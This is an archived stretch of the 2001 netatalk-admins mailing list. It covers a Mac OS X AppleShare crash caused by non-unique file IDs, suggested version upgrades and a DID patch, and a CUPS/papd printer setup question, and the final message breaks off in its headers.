>I've looked in the database but I can't see this bug anywhere.
>
>We have a MacOS X build server which, on completion, copies a lot of =
files in a
>short period of time to a RedHat 7.1 linux box (128meg RAM, Pentium 2). =
After a
>while, the build server dies with a kernel assertion. We were wondering =
if any
>one had seen this before?
>
>This is quite important to us as we're relying on this to try and get a =
product
>out shortly.
>
>We would also like to know -who- is supporting netatalk these days. I've =
heard a
>rumour that Apple are looking for a netatalk developer.
>
>BTW, the netatalk developers list seems to be dead. My request to join =
was
>bounced.
>
>Roger
>
>
>RFC822 header
>-----------------------------------
>
> Return-Path: <netatalk-admins-request@umich.edu>
> Received: from terminator.rsug.itd.umich.edu =
>(terminator.rsug.itd.umich.edu [141.213.231.10])
> 	by mail.iu13.k12.pa.us (8.9.3/8.9.3) with ESMTP id LAA22149;
> 	Wed, 11 Jul 2001 11:08:41 -0400
> Received: (from slist@localhost)
> 	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) id LAA12763; Wed, 11 Jul =
>2001 11:02:54 -0400 (EDT)
> Resent-Date: Wed, 11 Jul 2001 11:02:54 -0400 (EDT)
> From: roger.day@globalgraphics.com
> X-VirusChecked: Checked
> X-Lotus-FromDomain: HARLEQUIN
> To: netatalk-admins@umich.edu
> Message-ID: <80256A86.005196E5.00@notescam.cam.harlequin.co.uk>
> Date: Wed, 11 Jul 2001 15:51:10 +0100
> Subject: Netatalk, Macos X and other issues
> Mime-Version: 1.0
> Content-type: text/plain; charset=3Dus-ascii
> Content-Disposition: inline
> Resent-Message-ID: <0orFpB.A.vAD.ufGT7@terminator.rsug.itd.umich.edu>
> Resent-From: netatalk-admins@umich.edu
> X-Mailing-List: <netatalk-admins@umich.edu> archive/latest/4779
> X-Loop: netatalk-admins@umich.edu
> Precedence: list
> Resent-Sender: netatalk-admins-request@umich.edu
> Status:   =
> =

-------------------------------------------------------------
|   Eddie J Schwartz <EdMcMan@m00.net> http://www.m00.net   |
|     AIM: The Cypher ICQ: 35576339 PGP ID: 0x96CDDED4      |
| "We Trills have an expression--at forty, you think you    |
| know everything.  At four hundred, you realize you know   |
|         nothing." - Dax, Star Trek Deep Space 9           |
-------------------------------------------------------------
--====48514853515756525352===1
Content-Type: text/html; charset="US-Ascii"
Content-Transfer-Encoding: quoted-printable

<HTML><HEAD></HEAD><BODY>
<PRE WIDTH=3D"132">
         Reply to:   RE: Netatalk, Macos X and other issues

</PRE>
<FONT FACE=3D"Geneva" SIZE=3D3 =
COLOR=3D"#000000">Hi Roger.  I am not sure how much =
I can help with your problem, but as for =
the developers, try looking at the sourceforge(.net) =
project page.  It lists the admins/developers =
of the project.  Out of curiosity, what =
version of netatalk are you running, and =
do you have a login message?  I havn't been =
able to get Mac OS X working correctly with =
netatalk yet, and someone suggested a login =
message might be the problem.  I told our =
sysadmin, but he has yet to answer me.  =
I was hoping to find out if anyone with a =
working config has a login message.  Thanks!</FONT><FONT =
FACE=3D"Monaco" SIZE=3D1 COLOR=3D"#000000"><BR>
<BR>
<BR>
</FONT><FONT FACE=3D"Geneva" =
SIZE=3D3 COLOR=3D"#000000">roger.day wrote:</FONT><FONT FACE=3D"Geneva" =
SIZE=3D1 COLOR=3D"#000000"><BR>
&gt;I've looked in the database =
but I can't see this bug anywhere.<BR>
&gt;<BR>
&gt;We =
have a MacOS X build server which, on completion, =
copies a lot of files in a<BR>
&gt;short period =
of time to a RedHat 7.1 linux box (128meg =
RAM, Pentium 2). After a<BR>
&gt;while, the =
build server dies with a kernel assertion. =
We were wondering if any<BR>
&gt;one had seen =
this before?<BR>
&gt;<BR>
&gt;This is quite =
important to us as we're relying on this =
to try and get a product<BR>
&gt;out shortly.<BR>
&gt;<BR>
&gt;We =
would also like to know -who- is supporting =
netatalk these days. I've heard a<BR>
&gt;rumour =
that Apple are looking for a netatalk developer.<BR>
&gt;<BR>
&gt;BTW, =
the netatalk developers list seems to be =
dead. My request to join was<BR>
&gt;bounced.<BR>
&gt;<BR>
&gt;Roger<BR>
&gt;<BR>
&gt;<BR>
&gt;RFC822 =
header<BR>
&gt;-----------------------------------<BR>
&gt;<BR>
&gt; =
Return-Path: &lt;</FONT><FONT FACE=3D"Geneva" SIZE=3D1 COLOR=3D"#0000FF"><=
U>netatalk-admins-request@umich.edu</U></FONT><FONT =
FACE=3D"Geneva" SIZE=3D1 COLOR=3D"#000000">&gt;<BR>
&gt; Received: =
from terminator.rsug.itd.umich.edu <BR>
&gt;(terminator.rsug.itd.umich.edu =
[141.213.231.10])<BR>
&gt; 	by mail.iu13.k12.pa.us =
(8.9.3/8.9.3) with ESMTP id LAA22149;<BR>
&gt; =
	Wed, 11 Jul 2001 11:08:41 -0400<BR>
&gt; =
Received: (from </FONT><FONT FACE=3D"Geneva" SIZE=3D1 COLOR=3D"#0000FF"><U>=
slist@localhost</U></FONT><FONT =
FACE=3D"Geneva" SIZE=3D1 COLOR=3D"#000000">)<BR>
&gt; 	by terminator.rsug.itd.umich.edu =
(8.9.3/3.0+) id LAA12763; Wed, 11 Jul <BR>
&gt;2001 =
11:02:54 -0400 (EDT)<BR>
&gt; Resent-Date: =
Wed, 11 Jul 2001 11:02:54 -0400 (EDT)<BR>
&gt; =
From: </FONT><FONT FACE=3D"Geneva" SIZE=3D1 COLOR=3D"#0000FF"><U>roger.day@=
globalgraphics.com</U></FONT><FONT =
FACE=3D"Geneva" SIZE=3D1 COLOR=3D"#000000"><BR>
&gt; X-VirusChecked: =
Checked<BR>
&gt; X-Lotus-FromDomain: HARLEQUIN<BR>
&gt; =
To: </FONT><FONT FACE=3D"Geneva" SIZE=3D1 COLOR=3D"#0000FF"><U>netatalk-=
admins@umich.edu</U></FONT><FONT =
FACE=3D"Geneva" SIZE=3D1 COLOR=3D"#000000"><BR>
&gt; Message-ID: &lt;</FONT><FONT =
FACE=3D"Geneva" SIZE=3D1 COLOR=3D"#0000FF"><U>80256A86.005196E5.00@=
notescam.cam.harlequin.co.uk</U></FONT><FONT =
FACE=3D"Geneva" SIZE=3D1 COLOR=3D"#000000">&gt;<BR>
&gt; Date: Wed, =
11 Jul 2001 15:51:10 +0100<BR>
&gt; Subject: =
Netatalk, Macos X and other issues<BR>
&gt; =
Mime-Version: 1.0<BR>
&gt; Content-type: text/plain; =
charset=3Dus-ascii<BR>
&gt; Content-Disposition: =
inline<BR>
&gt; Resent-Message-ID: &lt;</FONT><FONT =
FACE=3D"Geneva" SIZE=3D1 COLOR=3D"#0000FF"><U>0orFpB.A.vAD.ufGT7@=
terminator.rsug.itd.umich.edu</U></FONT><FONT =
FACE=3D"Geneva" SIZE=3D1 COLOR=3D"#000000">&gt;<BR>
&gt; Resent-From: =
</FONT><FONT FACE=3D"Geneva" SIZE=3D1 COLOR=3D"#0000FF"><U>netatalk-admins@=
umich.edu</U></FONT><FONT =
FACE=3D"Geneva" SIZE=3D1 COLOR=3D"#000000"><BR>
&gt; X-Mailing-List: =
&lt;</FONT><FONT FACE=3D"Geneva" SIZE=3D1 COLOR=3D"#0000FF"><U>netatalk-=
admins@umich.edu</U></FONT><FONT =
FACE=3D"Geneva" SIZE=3D1 COLOR=3D"#000000">&gt; archive/latest/4779<BR>
&gt; =
X-Loop: </FONT><FONT FACE=3D"Geneva" SIZE=3D1 COLOR=3D"#0000FF"><U>=
netatalk-admins@umich.edu</U></FONT><FONT =
FACE=3D"Geneva" SIZE=3D1 COLOR=3D"#000000"><BR>
&gt; Precedence: list<BR>
&gt; =
Resent-Sender: </FONT><FONT FACE=3D"Geneva" SIZE=3D1 COLOR=3D"#0000FF"><U>=
netatalk-admins-request@umich.edu</U></FONT><FONT =
FACE=3D"Geneva" SIZE=3D1 COLOR=3D"#000000"><BR>
&gt; Status:   <BR>
&gt; =
</FONT><FONT FACE=3D"Monaco" SIZE=3D1 COLOR=3D"#000000"><BR>
<BR>
-------------------------------------------------------------<BR>
| =
  Eddie J Schwartz &lt;EdMcMan@m00.net&gt; =
http://www.m00.net   |<BR>
|     AIM: The =
Cypher ICQ: 35576339 PGP ID: 0x96CDDED4  =
    |<BR>
| &quot;We Trills have an expression--at =
forty, you think you    |<BR>
| know everything. =
 At four hundred, you realize you know  =
 |<BR>
|         nothing.&quot; - Dax, Star =
Trek Deep Space 9           |<BR>
-------------------------------------------------------------</FONT></BODY>=
</HTML>
--====48514853515756525352===1--



From netatalk.administrators-errors@umich.edu  Wed Jul 11 11:37:29 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id LAA14032
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 11 Jul 2001 11:37:29 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id LAA08511
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 11 Jul 2001 11:37:16 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id LAA08489
	for netatalk.administrators-members@umich.edu; Wed, 11 Jul 2001 11:37:15 -0400 (EDT)
Received: from duo.be (dns.duo.be [193.121.105.2])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id LAA08439
	for <netatalk-admins@umich.edu>; Wed, 11 Jul 2001 11:37:14 -0400 (EDT)
Received: from [193.121.105.73] (193.121.105.73) by duo.be with ESMTP
 (Eudora Internet Mail Server 3.0.3) for <netatalk-admins@umich.edu>;
 Wed, 11 Jul 2001 17:38:37 +0200
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2022
Date: Wed, 11 Jul 2001 17:37:18 +0200
Subject: Re: Netatalk, Macos X and other issues
From: Peter Duchateau <peter@duo.be>
To: <netatalk-admins@umich.edu>
Message-ID: <B7723F4E.2B71%peter@duo.be>
In-Reply-To: <80256A86.005515CB.00@notescam.cam.harlequin.co.uk>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

Where did you find the real archive ??

> From: roger.day@globalgraphics.com
> Date: Wed, 11 Jul 2001 16:29:20 +0100
> To: jeff@univrel.pr.uconn.edu
> Cc: netatalk-admins@umich.edu
> Subject: Re: Netatalk, Macos X and other issues
> Resent-From: netatalk-admins@umich.edu
> Resent-Date: Wed, 11 Jul 2001 11:29:30 -0400 (EDT)
> 
> I found the -real- archive.
> 
> #  Also the lack of archive here
> http://netatalk.sourceforge.net/mailing_lists.php
> #  for 2000/2001 does give an appearance of cobwebness to the page.
> #
> 
> Roger
> 
> 


From netatalk.administrators-errors@umich.edu  Wed Jul 11 11:45:08 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id LAA14390
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 11 Jul 2001 11:45:07 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id LAA21979
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 11 Jul 2001 11:44:54 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id LAA21951
	for netatalk.administrators-members@umich.edu; Wed, 11 Jul 2001 11:44:54 -0400 (EDT)
Received: from mail.london-2.starlabs.net (mail.london-2.starlabs.net [212.125.75.4])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id LAA21908
	for <netatalk-admins@umich.edu>; Wed, 11 Jul 2001 11:44:52 -0400 (EDT)
From: roger.day@globalgraphics.com
X-VirusChecked: Checked
Received: (qmail 8689 invoked from network); 11 Jul 2001 15:39:20 -0000
Received: from holly.cam.harlequin.co.uk (193.128.4.58)
  by server-32.tower-1.london-2.starlabs.net with SMTP; 11 Jul 2001 15:39:20 -0000
Received: from gpo.cam.harlequin.co.uk (gpo.cam.harlequin.co.uk [192.88.238.241])
          by holly.cam.harlequin.co.uk (8.8.4/8.8.4) with ESMTP
	  id QAA21354; Wed, 11 Jul 2001 16:45:03 +0100 (BST)
Received: from notescam.cam.harlequin.co.uk (notescam.cam.harlequin.co.uk [172.16.16.169])
          by gpo.cam.harlequin.co.uk (8.8.4/8.8.4) with SMTP
	  id QAA00244; Wed, 11 Jul 2001 16:45:02 +0100 (BST)
Received: by notescam.cam.harlequin.co.uk(Lotus SMTP MTA v4.6.7  (934.1 12-30-1999))  id 80256A86.0056848B ; Wed, 11 Jul 2001 16:45:00 +0100
X-Lotus-FromDomain: HARLEQUIN
To: Peter Duchateau <peter@duo.be>
cc: netatalk-admins@umich.edu
Message-ID: <80256A86.005682F4.00@notescam.cam.harlequin.co.uk>
Date: Wed, 11 Jul 2001 16:44:55 +0100
Subject: Re: Netatalk, Macos X and other issues
Mime-Version: 1.0
Content-type: text/plain; charset=us-ascii
Content-Disposition: inline

http://www.geocrawler.com/lists/3/SourceForge/5215/25

At 11/07/2001 16:37:18, Peter Duchateau <peter@duo.be> wrote:
#  Where did you find the real archive ??
#
#  > From: roger.day@globalgraphics.com
#  > Date: Wed, 11 Jul 2001 16:29:20 +0100
#  > To: jeff@univrel.pr.uconn.edu
#  > Cc: netatalk-admins@umich.edu
#  > Subject: Re: Netatalk, Macos X and other issues
#  > Resent-From: netatalk-admins@umich.edu
#  > Resent-Date: Wed, 11 Jul 2001 11:29:30 -0400 (EDT)
#  >
#  > I found the -real- archive.
#  >
#  > #  Also the lack of archive here
#  > http://netatalk.sourceforge.net/mailing_lists.php
#  > #  for 2000/2001 does give an appearance of cobwebness to the page.
#  > #
#  >
#  > Roger
#  >
#  >
#
Roger



From netatalk.administrators-errors@umich.edu  Wed Jul 11 11:51:20 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id LAA14549
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 11 Jul 2001 11:51:20 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id LAA20220
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 11 Jul 2001 11:51:20 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id LAA20211
	for netatalk.administrators-members@umich.edu; Wed, 11 Jul 2001 11:51:19 -0400 (EDT)
Received: from mail.london-2.starlabs.net (mail.london-2.starlabs.net [212.125.75.4])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id LAA20174
	for <netatalk-admins@umich.edu>; Wed, 11 Jul 2001 11:51:18 -0400 (EDT)
From: roger.day@globalgraphics.com
X-VirusChecked: Checked
Received: (qmail 27898 invoked from network); 11 Jul 2001 15:46:39 -0000
Received: from holly.cam.harlequin.co.uk (193.128.4.58)
  by server-48.tower-1.london-2.starlabs.net with SMTP; 11 Jul 2001 15:46:39 -0000
Received: from gpo.cam.harlequin.co.uk (gpo.cam.harlequin.co.uk [192.88.238.241])
          by holly.cam.harlequin.co.uk (8.8.4/8.8.4) with ESMTP
	  id QAA21518; Wed, 11 Jul 2001 16:51:12 +0100 (BST)
Received: from notescam.cam.harlequin.co.uk (notescam.cam.harlequin.co.uk [172.16.16.169])
          by gpo.cam.harlequin.co.uk (8.8.4/8.8.4) with SMTP
	  id QAA01026; Wed, 11 Jul 2001 16:51:06 +0100 (BST)
Received: by notescam.cam.harlequin.co.uk(Lotus SMTP MTA v4.6.7  (934.1 12-30-1999))  id 80256A86.005710C3 ; Wed, 11 Jul 2001 16:50:59 +0100
X-Lotus-FromDomain: HARLEQUIN
To: Jeff <jeff@univrel.pr.uconn.edu>
cc: netatalk-admins@umich.edu, netatalk-devel@lists.sourceforge.net
Message-ID: <80256A86.00571077.00@notescam.cam.harlequin.co.uk>
Date: Wed, 11 Jul 2001 16:50:58 +0100
Subject: Re: Netatalk, Macos X and other issues
Mime-Version: 1.0
Content-type: text/plain; charset=us-ascii
Content-Disposition: inline

We tried the 1.5pre6, which is why I was trying that wacky version there.

The problem with pre6 was that it caused NFS to stop working - authentication
stopped working. Reverting to a previous release fixed this.

I have a proper description of the problem:-

<GMT17-May-2001 23:49:56GMT> B.S.:
Problem is that netatlk is not making their fileIDs unique and the AppleShare
client uses those ids for its hash entries. Thats why we are hitting the assert.
I will file a bug against netatalk and also change the AppleShare client so that
it will not assert any more. Although anytime someone tries to do a ResolveID
(not too common, I think), it will get back some indeterminate file and that
will be bad.

<GMT23-May-2001 21:31:24GMT> B.S.:
Fix is too catch this case and not assert, but to fail the create call with some
error. Real fix is to get an updated netatalk installed on the server. I am
working on getting a fixed netatalk submitted.

from here

http://www.publicsource.apple.com/bugs/X%20Server/AppleShare%20X%20Client/2666595.html

I can't see any bug filed anywhere on the netatalk site - that's the first place
 I looked.

Would this be fixed in pre7?

Another question: why so many pre's?



At 11/07/2001 16:31:48, Jeff <jeff@univrel.pr.uconn.edu> wrote:
#  roger.day@globalgraphics.com wrote:
#  > #  Which version of netatalk are you using?
#  >
#  > The tar file is called pre-asun2.1.4-37b.tar
#  >
#  > it decompresses into a directory called
#  >
#  > netatalk-1.4b2+asun2.1.4
#  >
#  > Is there a deterministic way of finding the version?
#
#  That's version 1.4b2+asun2.1.4. The series on sourceforge is currently
#  at 1.5pre6.
#
#  > #  > This is quite important to us as we're relying on this to try and get
a
#  > product
#  > #  > out shortly.
#  > #  >
#  > #  > We would also like to know -who- is supporting netatalk these days.
I've
#  > heard a
#  > #  > rumour that Apple are looking for a netatalk developer.
#  > #
#  > #  Interesting. Currently most support seems to be via the admin and
#  > #  developer lists.
#  >
#  > This was from someone on the darwin-developers list.
#  >
#  > Also the lack of archive here
http://netatalk.sourceforge.net/mailing_lists.php
#  > for 2000/2001 does give an appearance of cobwebness to the page.
#
#  Sorry about that. The netatalk development is in full swing. Check out
#  http://sourceforge.net/projects/netatalk/ for a little more information
#  on that.
#
#  I'd suggest trying 1.5pre6 or the upcoming 1.5pre7, as it probably
#  resolves that issue.
#
#  Jeff
#
Roger



From netatalk.administrators-errors@umich.edu  Wed Jul 11 11:59:52 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id LAA14730
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 11 Jul 2001 11:59:51 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id LAA04201
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 11 Jul 2001 11:59:51 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id LAA04182
	for netatalk.administrators-members@umich.edu; Wed, 11 Jul 2001 11:59:51 -0400 (EDT)
Received: from shumai.marcuscom.com (rdu26-228-058.nc.rr.com [66.26.228.58])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id LAA04148
	for <netatalk-admins@umich.edu>; Wed, 11 Jul 2001 11:59:49 -0400 (EDT)
Received: from localhost (marcus@localhost)
	by shumai.marcuscom.com (8.11.3/8.11.3) with ESMTP id f6BFxDt20092;
	Wed, 11 Jul 2001 11:59:13 -0400 (EDT)
	(envelope-from marcus@marcuscom.com)
X-Authentication-Warning: shumai.marcuscom.com: marcus owned process doing -bs
Date: Wed, 11 Jul 2001 11:59:13 -0400 (EDT)
From: Joe Clarke <marcus@marcuscom.com>
To: <roger.day@globalgraphics.com>
cc: Jeff <jeff@univrel.pr.uconn.edu>, <netatalk-admins@umich.edu>,
        <netatalk-devel@lists.sourceforge.net>
Subject: Re: [Netatalk-devel] Re: Netatalk, Macos X and other issues
In-Reply-To: <80256A86.00571077.00@notescam.cam.harlequin.co.uk>
Message-ID: <20010711115441.I20018-100000@shumai.marcuscom.com>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII

I submitted a patch to netatalk that "fixes" the AFP problem with opening
and copying files in OS X.  The reason I say "fixes" is that it relies on
the old DID algorithm.  I have not tried the mtab stuff yet, so I don't
know if that will work.

Anyway, if you want OS X support with netatalk, download the CVS version
from http://sourceforge.net/cvs/?group_id=8642, and configure with the
added option --with-did=last.  You should be able to use netatalk with OS
X after that.

The big goal I think is to find the right way to do DID calculations so
that collisions do not exist and DIDs are persistent.  If Apple wants to
contribute, that would be great.  I'm not sure if anyone else is currently
working on the DID "Rossetta Stone."

I'm currently working on porting AFP 3.0 to netatalk.  I have most of the
volume and directory code done.  I'm not sure how well this will work, but
it should provide for longer filename support.

Joe Clarke

On Wed, 11 Jul 2001 roger.day@globalgraphics.com wrote:

> We tried the 1.5pre6, which is why I was trying that wacky version there.
>
> The problem with pre6 was that it caused NFS to stop working - authentication
> stopped working. Reverting to a previous release fixed this.
>
> I have a proper description of the problem:-
>
> <GMT17-May-2001 23:49:56GMT> B.S.:
> Problem is that netatlk is not making their fileIDs unique and the AppleShare
> client uses those ids for its hash entries. Thats why we are hitting the assert.
> I will file a bug against netatalk and also change the AppleShare client so that
> it will not assert any more. Although anytime someone tries to do a ResolveID
> (not too common, I think), it will get back some indeterminate file and that
> will be bad.
>
> <GMT23-May-2001 21:31:24GMT> B.S.:
> Fix is too catch this case and not assert, but to fail the create call with some
> error. Real fix is to get an updated netatalk installed on the server. I am
> working on getting a fixed netatalk submitted.
>
> >from here
>
> http://www.publicsource.apple.com/bugs/X%20Server/AppleShare%20X%20Client/2666595.html
>
> I can't see any bug filed anywhere on the netatalk site - that's the first place
>  I looked.
>
> Would this be fixed in pre7?
>
> Another question: why so many pre's?
>
>
>
> At 11/07/2001 16:31:48, Jeff <jeff@univrel.pr.uconn.edu> wrote:
> #  roger.day@globalgraphics.com wrote:
> #  > #  Which version of netatalk are you using?
> #  >
> #  > The tar file is called pre-asun2.1.4-37b.tar
> #  >
> #  > it decompresses into a directory called
> #  >
> #  > netatalk-1.4b2+asun2.1.4
> #  >
> #  > Is there a deterministic way of finding the version?
> #
> #  That's version 1.4b2+asun2.1.4. The series on sourceforge is currently
> #  at 1.5pre6.
> #
> #  > #  > This is quite important to us as we're relying on this to try and get
> a
> #  > product
> #  > #  > out shortly.
> #  > #  >
> #  > #  > We would also like to know -who- is supporting netatalk these days.
> I've
> #  > heard a
> #  > #  > rumour that Apple are looking for a netatalk developer.
> #  > #
> #  > #  Interesting. Currently most support seems to be via the admin and
> #  > #  developer lists.
> #  >
> #  > This was from someone on the darwin-developers list.
> #  >
> #  > Also the lack of archive here
> http://netatalk.sourceforge.net/mailing_lists.php
> #  > for 2000/2001 does give an appearance of cobwebness to the page.
> #
> #  Sorry about that. The netatalk development is in full swing. Check out
> #  http://sourceforge.net/projects/netatalk/ for a little more information
> #  on that.
> #
> #  I'd suggest trying 1.5pre6 or the upcoming 1.5pre7, as it probably
> #  resolves that issue.
> #
> #  Jeff
> #
> Roger
>
>
>
> _______________________________________________
> Netatalk-devel mailing list
> Netatalk-devel@lists.sourceforge.net
> http://lists.sourceforge.net/lists/listinfo/netatalk-devel
>
>


From netatalk.administrators-errors@umich.edu  Wed Jul 11 14:12:12 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id OAA19023
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 11 Jul 2001 14:12:11 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id OAA29639
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 11 Jul 2001 14:11:58 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id OAA29618
	for netatalk.administrators-members@umich.edu; Wed, 11 Jul 2001 14:11:58 -0400 (EDT)
Received: from smtp1.nikoma.de (smtp1.nikoma.de [212.122.128.19])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id OAA29568
	for <netatalk-admins@umich.edu>; Wed, 11 Jul 2001 14:11:56 -0400 (EDT)
Received: from [192.168.1.5] (dialin12.pg9-nt.frankfurt.nikoma.de [213.54.40.12])
	by smtp1.nikoma.de (8.9.3/8.9.3) with ESMTP id UAA14349
	for <netatalk-admins@umich.edu>; Wed, 11 Jul 2001 20:12:07 +0200 (CEST)
	(envelope-from drechsel@verkehrsplanung.com)
X-Sender: 602133b@195.64.96.45
Message-Id: <l03130303b7723aa1cb19@[192.168.1.5]>
Mime-Version: 1.0
Content-Type: text/plain; charset="iso-8859-1"
Date: Wed, 11 Jul 2001 19:17:31 +0200
To: netatalk-admins@umich.edu
From: Wolf Drechsel <drechsel@verkehrsplanung.com>
Subject: unsubscribe
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id OAA19023

unsubscribe

************************************************************
# Gesellschaft für fahrgastorientierte Verkehrsplanung b.R.
# Köhnstr. 54   D-90478 Nürnberg
#
# Telephon: 0911/4 71 98 49
# Telefax: 0911/47 39 36
#
# drechsel@verkehrsplanung.com
# www.verkehrsplanung.com
#************************************************************



From netatalk.administrators-errors@umich.edu  Thu Jul 12 19:54:36 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id TAA13812
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 12 Jul 2001 19:54:35 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id TAA04643
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 12 Jul 2001 19:54:35 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id TAA04625
	for netatalk.administrators-members@umich.edu; Thu, 12 Jul 2001 19:54:35 -0400 (EDT)
Received: from gamera.begeek.com (cr714364-a.lndn1.on.wave.home.com [24.114.87.48])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id TAA04581
	for <netatalk-admins@umich.edu>; Thu, 12 Jul 2001 19:54:33 -0400 (EDT)
Received: from jigra (IDENT:craigl@jigra [10.2.0.13])
	by gamera.begeek.com (8.9.3/8.9.3) with ESMTP id TAA03628
	for <netatalk-admins@umich.edu>; Thu, 12 Jul 2001 19:57:24 -0400
Subject: problem with printers.
From: Craig Longman <craigl@begeek.com>
To: netatalk-admins@umich.edu
Content-Type: text/plain
X-Mailer: Evolution/0.10 (Preview Release)
Date: 12 Jul 2001 19:57:23 -0400
Message-Id: <994982244.2382.11.camel@jigra.begeek.com>
Mime-Version: 1.0


hi there,

i'm trying to use netatalk and cups to allow my (old) mac to talk to a
new epson printer i bought.  i have cups working very well from three
different linux boxes, but i cannot seem to get the printer working.  at
first i had thought it was a cups problem, but now i'm pretty sure cups
isn't even getting a chance to reject the job.

here is my papd.conf:

Epson 880 (Linux):epson_880@gamera:\
  :pr=|/usr/bin/lpr -d epson_880:\
  :op=operator:\
  :pd=/etc/cups/ppd/epson_880.ppd:

and i can find that printer when i choose 'LaserWriter 8' in the control
panel.  everything seems to go well, the printer is created on my
desktop and it is available to programs.  however, if i try and print,
after a little while i get an error # -192 pop up on the mac, and the
following shows up in my log:

Jul 12 19:51:38 papd[3590]: child 3611 for "Epson 880 (Linux)" from
65280.173
Jul 12 19:51:38 papd[3590]: child 3611 done

not very helpful.  i cannot seem to find anyway of trying to figure out
what might be going wrong.  how can i increase the logging level, or
does anyone have any ideas about what i can try to do to fix this?  i'm
really anxious to get this mac up and running, and had thougth it would
be much easier than this.  perhaps i just missed a basic step?

sincerely,

-- 

    CraigL->Thx();
    Be Developer ID: 5852
    Check out <http://www.begeek.com/>!



From netatalk.administrators-errors@umich.edu  Thu Jul 12 22:30:07 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id WAA20715
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 12 Jul 2001 22:30:07 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id WAA24679
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 12 Jul 2001 22:30:07 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id WAA24656
	for netatalk.administrators-members@umich.edu; Thu, 12 Jul 2001 22:30:06 -0400 (EDT)
Received: from ns.htc.net (ns.htc.net [208.165.194.11])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id WAA24597
	for <netatalk-admins@umich.edu>; Thu, 12 Jul 2001 22:30:05 -0400 (EDT)
Received: from as200.trb.htc.net ([206.102.189.48])
	by ns.htc.net (8.9.3/8.9.3) with ESMTP id VAA258956;
